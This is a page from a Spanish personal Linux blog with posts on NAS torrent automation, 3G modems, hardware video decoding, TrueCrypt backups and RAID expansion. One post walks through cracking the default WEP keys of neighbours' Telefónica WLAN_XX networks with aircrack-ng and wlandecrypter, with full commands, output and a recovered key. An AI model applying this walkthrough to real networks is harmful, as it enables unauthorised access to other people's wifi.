KEMBAR78
Blog de Iván López: Linux
Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas

miércoles, 16 de enero de 2013

Descargando torrents desde un QNAP (I)

Hace tiempo conté mi estrategia de backup en casa. Tengo montado un servidor debian con un raid 1 y unos scripts personalizados de rsync para realizar la sincronización y copia de los datos.

Adicionalmente tenía un portátil un tanto antiguo con ubuntu con el que descargaba series por medio de bittorrent y alguna otra cosa con amule. Hace unos meses decidí que quería mejorar un poco toda esta infraestructura con un NAS. Así, después de mucho mirar compré un Qnap TS-412 y un par de discos de 2 TB. Con los dos discos he creado un raid 1 y ahora tengo ahí toda mi información, fotos, series, música,...

El qnap tiene un linux embebido con mucha funcionalidad y que es fácilmente ampliable y personalizable. Para las descargas utilizo Transmission que se puede instalar desde el gestor de software incluído. Transmission funciona perfectamente pero tiene un pequeño problema, no permite configurar un feed rss desde el que descargar los torrents. Esto es un gran problema para mí porque para descargar mis series favoritas utilizo Show RSS. Una vez registrado en la web eliges tu series de la lista y puedes generar un feed rss personalizado en donde se publicarán automáticamente los torrents de las series según estén disponibles.

Así que con este problemilla me puse a buscar una solución. Como no soy el único que tiene estos problemas estuve probando distintas alternativas que encontré en diversos foros, pero o no funcionaban correctamente o no me terminaban de convencer. Finalmente encontré TV Torrent RSS Downloader que casi cubre mis necesidades. Es una pequeña aplicación hecha en Java en la que configuras uno o varios feeds rss y unos filtros y descarga los archivos adjuntos. Después de hacer una pruebas en local todo funcionó a la perfección, pero hay había un problema ¿cómo instalo java en el qnap?

Después de bucear un poco por la web de Sun Oracle llegué a la web de descargas del JRE para Linux ARM y tras unas pruebas de ensayo-error descargué la versión correcta para mi arquitectura: ARMv5 Linux – Headless EABI, SoftFP, Little Endian. La instalación es tan sencilla como descomprimir el archivo y configurar el path correctamente y comprobar que el ejecutable funciona:
$ ./java -version
java version "1.6.0_38"
Java SE Embedded Runtime Environment (build 1.6.0_38-b05, headless)
Java HotSpot(TM) Embedded Client VM (build 20.13-b02, mixed mode)

Ahora con java instalado es tan sencillo como ejecutar:
$ java -jar tvrss.jar

Y los .torrents de cada serie se iran descargando automáticamente al directorio que hayamos especificado en el archivo de configuración. Una vez funcionando las descargas de los .torrents de cada serie, si configuramos la ruta de descarga al directorio watched de transmission, los archivos se añadirán y se pondrán a descargar automáticamente.

Con todo funcionando podemos configurar un script .sh que se ejecute a la hora que queramos y descargue automáticamente todos los torrents. Por ejemplo:

$ cat tvrss.sh 
#!/bin/bash

JAVA_HOME=/share/MD0_DATA/software/java/ejre1.6.0_38
APP_DIR=/share/MD0_DATA/software/transmission_scripts/tvrss
LOG_FILE=$APP_DIR/torrents.log

cd /share/MD0_DATA/software/transmission_scripts/tvrss
$JAVA_HOME/bin/java -jar $APP_DIR/tvrss.jar >> $LOG_FILE

Con esto solucionamos el problema de la descarga de los archivos .torrent y el añadirlos a Transmission, pero como comenté antes, la versión original de TV Torrent tiene un pequeño problema: los filtros. Por cada serie que queramos descargar es necesario añadir un filtro nuevo en el archivo de configuración para que ésta se descargue. Además, si en el feed rss publican una nueva versión, las típicas versiones PROPER o REPACK que corrigen problemas de sincronización o similar, éstas tampoco serán descargadas.

La solución en el siguiente artículo :-)

martes, 1 de febrero de 2011

Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

   Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
  • El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
    ivan@suneo:~$ sudo apt-get install aircrack-ng
  • Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
    ivan@suneo:~$ sudo airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)
  • La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
    ivan@suneo:~$ sudo airodump-ng -w packets mon0

    CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
    00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
    00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
    00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
    00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
    00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450

    BSSID STATION PWR Rate Lost Packets Probes

    (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
    (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
    00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
    00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
    00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
  • He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

  •    Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
    En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
    ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

    wlandecrypter v1.3.1 (2010/04/21)

    [+] BSSID: 00:01:38:XX:XX:XX
    [+] Modelo: Xavi 7768r
    [+] Generando fichero de claves: dic_WLANB8.txt.kk
    [+] Fichero guardado OK
    [+] Generadas 65536 claves (896 KB)
    [+] Proceso finalizado con exito

       Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
       Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
    ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

    Opening packets-01.cap
    Reading packets, please wait...

    Aircrack-ng 1.0


    [00:00:00] Tested 3873 keys (got 6 IVs)

    KB depth byte(vote)
    0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

    KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
    Decrypted correctly: 100%

       Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
       P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

    miércoles, 11 de agosto de 2010

    Conexión 3G con Ubuntu

       Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G libre, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.

       Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:
    ivan@suneo:~$ tail /var/log/messages
    Aug 11 22:43:56 suneo kernel: [ 447.944954] option 2-2:1.0: GSM modem (1-port) converter detected
    Aug 11 22:43:56 suneo kernel: [ 447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0

       El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.




    Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

    ¿Quién dijo que configurar las cosas en linux era difícil?.

       En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

    domingo, 1 de agosto de 2010

    Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI

       Desde que monté el HTPC una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos H.264. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.
       Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.

    Instalando el driver propietario de ATI
       Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
       Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:
    $ sudo ./ati-driver-installer-10-7-x86.x86_64.run


    Instalando las librerías VAAPI
       Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb
    Instalamos los paquetes que acabamos de descargar:
    $ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb


    Compilando mplayer con soporte VAAPI
       Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
       Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.
    $ sudo apt-get build-dep mplayer
       Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/.
    $ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2

    $ bunzip2 mplayer-vaapi-20100713.tar.bz2
    $ tar xvf mplayer-vaapi-20100713.tar
    mplayer-vaapi-20100713/
    mplayer-vaapi-20100713/patches/
    mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch
    mplayer-vaapi-20100713/patches/mplayer-vdpau.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch
    mplayer-vaapi-20100713/checkout-patch-build.sh
    mplayer-vaapi-20100713/README.txt
    mplayer-vaapi-20100713/NEWS
       Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.
    $ ./checkout-patch-build.sh
    Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.


    Probando a vídeos con aceleración y sin ella
       Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:
    $ ./mplayer Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    Starting playback...
    Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
    VO: [xv] 1280x720 => 1280x720 Planar YV12
       Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.
    $ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    libva: libva version 0.31.1-sds1
    Xlib: extension "XFree86-DRI" missing on display ":0.0".
    libva: va_getDriverName() returns 0
    libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so
    libva: va_openDriver() returns 0
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    [VD_FFMPEG] VA API accelerated codec.
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    VO: [vaapi] 1280x720 => 1280x720 H.264 VA-API Acceleration
    [VD_FFMPEG] XVMC-accelerated MPEG-2.
       Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.

       Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.

       Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.
    $ sudo make install
    install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib
    install -m 755 -s mencoder /usr/local/bin
    install -d /usr/local/share/man/man1
    install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/
    cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1
    install -m 755 -s mplayer /usr/local/bin


    Automatizando los parámetros de mplayer
       Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
       Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.
    $ aplay -l
    **** List of PLAYBACK Hardware Devices ****
    card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 0: SB [HDA ATI SB], device 1: ALC889A Digital [ALC889A Digital]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
       Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:
    $ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk
       Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: -ao alsa:device=hw=1.3
       Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.
    $ cat /home/ivan/.mplayer/config
    # Write your default config options here!
    # Salida por S/PDIF
    ao=alsa:device=hw=0.1,
    # Forzar audio a AC3
    ac=hwac3
    # Aceleración HW
    vo=vaapi
    va=vaapi
       De esta sólo tenemos que ejecutar
    $ mplayer pelicula.mkv
    y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.


    ¿Y por qué no usar VLC?
       Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.
    Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).

    There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.
       Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.


    Conclusiones
       Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).

    domingo, 7 de marzo de 2010

    Backups off-site cifrados truecrypt

       En todos los proyectos hay distintas etapas. Primero te das cuenta de que la forma de realizar los backups es poco óptima y segura y decides que sería mejor tener un raid 1 para protegerte de los fallos en disco. Un tiempo después empiezas a pensar que eso está muy bien, pero qué ocurre si te roban el ordenador (con sus 2 discos del raid), se incendia, inunda o viene un tornado y te quedas sin casa. Pues que has perdido todos tus preciados datos. En ese momento piensas en un backup off-site, es decir, fuera de tu casa. Hay muchos servicios online, pero cuando tienes cientos de gigas de información que almacenar, pueden suponer muchos euros al mes.
    Al final, una solución puede ser hacer el backup a un disco externo y llevar ese disco a otro sitio: la oficina, la casa de tus padres,... y cada cierto tiempo traerlo a casa, sincronizar los datos pendientes y volverlo a llevar. Pero, ¿qué ocurre si ese disco externo se pierde o roban en casa de tus padres?, que todo el mundo vería tu información. La solución para esto, el cifrado.

       Así es cómo lo voy a hacer. Tengo un disco duro de 120 GB que usaba antes de ampliar el raid y que ahora tengo en una caja externa usb. Para el cifrado, utilizo Truecrypt, del que ya he hablado varias veces y que me parece una solución estupenda.
  • Creamos el dispositivo cifrado. En lugar de crear un archivo .tc voy a cifrar toda la partición. Nos pedirá que seleccionemos los algoritmos, que introduzcamos una clave y que "aporreemos" el teclado para generar las claves con cierta aleatoriedad. No elegimos sistema de archivos puesto que sólo podemos escoger FAT y nosotros formatearemos posteriormente a ext3. Este proceso puede durar mucho tiempo en función del tamaño del disco, en mi caso fueron unas dos horas.
    shian:~# truecrypt -c /dev/sda1
  • Una vez finalizado el proceso, montamos el volumen cifrado indicando que no tiene filesystem.
    shian:~# truecrypt --filesystem=none /dev/sda1 /mnt/ext_backup
  • Vemos dónde se ha mapeado el dispositivo y lo formateamos. Ojo no hay que elegir /dev/sda1 puesto que sino sobreescribiríamos el volumen cifrado y tendríamos que empezar de nuevo.
    shian:~# truecrypt -l   
    1: /dev/sda1 /dev/mapper/truecrypt1

    shian:~# mkfs.ext3 /dev/mapper/truecrypt1
  • Desmontamos el volumen y lo montamos en su ubicación definitiva con el sistema de archivos ya creado. Ahora ya podríamos empezar a copiar todos nuestros datos en él.
    shian:~# truecrypt -d /dev/sda1

    shian:~# trucrypt /dev/sda1 /mnt/ext_backup

    shian:~# df -h
    S.ficheros Tamaño Usado Disp Uso% Montado en
    /dev/mapper/truecrypt1 113G 17G 91G 16% /mnt/ext_backup
  • Para la sincronización he hecho un script muy sencillo con rsync que copia los datos de la partición del raid donde los deja el proceso de backup al volumen cifrado. Sólo muestro dos directorios, pero el comando es el mismo para todos.
    #!/bin/bash
    echo "Asegurate de que esté montado el volumen cifrado!!!!"
    echo "CTRL+C para cancelar"
    read

    DATA_HOME=/mnt/raid/datos/doraemon/current
    BACKUP_DST=/mnt/ext_backup
    LOG_FILE=/root/log_externalBackup/$(date +%Y%m%d_%H%M)_externalBackup.log
    FINAL_LOG_DST=/mnt/ext_backup/logs

    rsync -avpz --stats "$DATA_HOME/media/sda2/Fotos" $BACKUP_DST > $LOG_FILE
    rsync -avpz --stats "$DATA_HOME/media/sda2/Musica" $BACKUP_DST >> $LOG_FILE

    cp $LOG_FILE $FILE_LOG_DST/
  •    Y listo, con esto estaría todo terminado. Ya sólo hay que lanzar el script y esperar a la sincronización. La primera vez tardará varias horas en función del volumen de datos, pero posteriormente la copia no debería tardar demasiado.

       Tal vez esta solución no sea la más limpia y elegante, puesto que los datos no están al día, hay que acordarse de traer y llevar el disco externo (con un par de notas en Google Calendar se soluciona), pero sin duda es más barata y tienes más control de tus datos :-P

    martes, 6 de octubre de 2009

    Resolviendo los problemas con los juegos de caracteres y Truecrypt en linux

    Ya hablé hace mucho de truecrypt y de lo útil que resulta para llevar información sensible en un pendrive sin miedo a que se pueda perder. El otro día estaba consultando desde linux algunos archivos del volumen cifrado que llevo en mi pendrive y me di cuenta que los caracteres especiales no se veían correctamente:
    ivan@doraemon:/media/truecrypt3/B&S$ ls -l
    total 20
    -rwx------ 1 ivan ivan 4351 2009-07-03 09:11 Ana.png
    -rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iv?n.png
    -rwx------ 1 ivan ivan 0 2009-08-23 20:42 ??????.txt

    ivan@doraemon:~$ mount | grep /media/truecrypt
    /dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077)


       La solución es tan sencilla como indicar en las opciones de montaje en truecrypt, en el menú Settings -> Preferences; Tab "Mount Options", que lo monte como utf8.

    Ahora montamos de nuevo el volumen y comprobamos que está como utf8:
    ivan@doraemon:~$ mount | grep /media/truecrypt
    /dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077,utf8)

    Y que podemos ver sin problemas los nombres de los archivos:
    ivan@doraemon:/media/truecrypt3/B&S$ ls -l
    total 20
    -rwx------ 1 ivan ivan 0 2009-08-23 20:42 áéíóúñ.txt
    -rwx------ 1 ivan ivan 4351 2009-07-03 09:11 Ana.png
    -rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iván.png



       Ahora ya nada nos impide utilizar nuestro volumen cifrado independientemente del sistema operativo con el que trabajemos y sin los problemas de los juegos de caracteres.

    jueves, 2 de octubre de 2008

    Ampliando un raid 1 en linux

       Resulta que el raid 1 que monté en mi servidor de backup estaba al 96% de sus escasos 60GB. De hecho, la última vez que lancé el backup se me llenó y tuve que estar borrando archivos y arreglando el estropicio a mano.
    shian:~# df -h
    S.ficheros Tamaño Usado Disp Uso% Montado en
    /dev/md0 56G 50G 2,6G 96% /mnt/raid

       Así, me decidí por un par de discos de 320GB y el pasado fin de semana estuve haciendo el cambio. El proceso es muy sencillo y no tiene ningún truco ni paso especial que haya que realizar. Como ya he puesto varios tutoriales sobre el raid 1, lo único que voy a comentar son los pasos que seguí por si alguien necesita ampliar el suyo pero sin mucho detalle. Para información adicional os remito al artículo original del raid 1 en linux.
  • Conectar los discos y particionarlos.
    shian:~# fdisk -l

    Disk /dev/hdf: 320.0 GB, 320072933376 bytes
    255 heads, 63 sectors/track, 38913 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

    Disk /dev/hdf doesn't contain a valid partition table

    Disk /dev/hdh: 320.0 GB, 320072933376 bytes
    255 heads, 63 sectors/track, 38913 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

    Disk /dev/hdh doesn't contain a valid partition table
  • Crear el nuevo dispositivo del raid. Como el raid anterior era /dev/md0, este nuevo será /dev/md1. Armarse de paciencia mientras dura la creación del raid. En mi caso fueron más de 2 horas.
    shian:~# mdadm --create /dev/md1 --verbose --level=1 --raid-devices=2 /dev/hdf1 /dev/hdh1
    mdadm: size set to 312568576K
    mdadm: array /dev/md1 started.

    shian:~# cat /proc/mdstat
    Personalities : [raid1]
    md1 : active raid1 hdh1[1] hdf1[0]
    312568576 blocks [2/2] [UU]
    [>....................] resync = 0.0% (182272/312568576) finish=142.7min speed=36454K/sec
  • Formatear el raid y montarlo en un nuevo directorio. Fijaos en el tamaño disponible para datos. De los 294GB teóricos, sólo 279GB están disponibles, el resto están reservados para los metadatos e información necesaria del raid 1.
    shian:~# mkfs.ext3 /dev/md1

    shian:~# mkdir /mnt/raid_new
    shian:~# mount /dev/md1 /mnt/raid_new/

    shian:~# df -h
    S.ficheros Tamaño Usado Disp Uso% Montado en
    /dev/md0 56G 50G 2,6G 96% /mnt/raid
    /dev/md1 294G 191M 279G 1% /mnt/raid_new
  • Copiar todos los datos del antiguo raid al nuevo. Es necesario asegurarse de que no hay ningún proceso en ejecución que pueda modificar los datos mientras los copiamos. En casa es sencillo, pero en entornos con más usuarios habría que denegar las conexiones entrantes o restringirlas de alguna forma.
    shian:~# cp -a /mnt/raid /mnt/raid_new

    shian:~# df -h
    S.ficheros Tamaño Usado Disp Uso% Montado en
    /dev/md0 56G 50G 2,6G 96% /mnt/raid
    /dev/md1 294G 50G 230G 17% /mnt/raid_new
  • Como paso final, es necesario actualizar los archivos /etc/fstab y /etc/mdadm/mdadm.conf con la información del nuevo raid y eliminar las entradas correspondientes al antiguo.

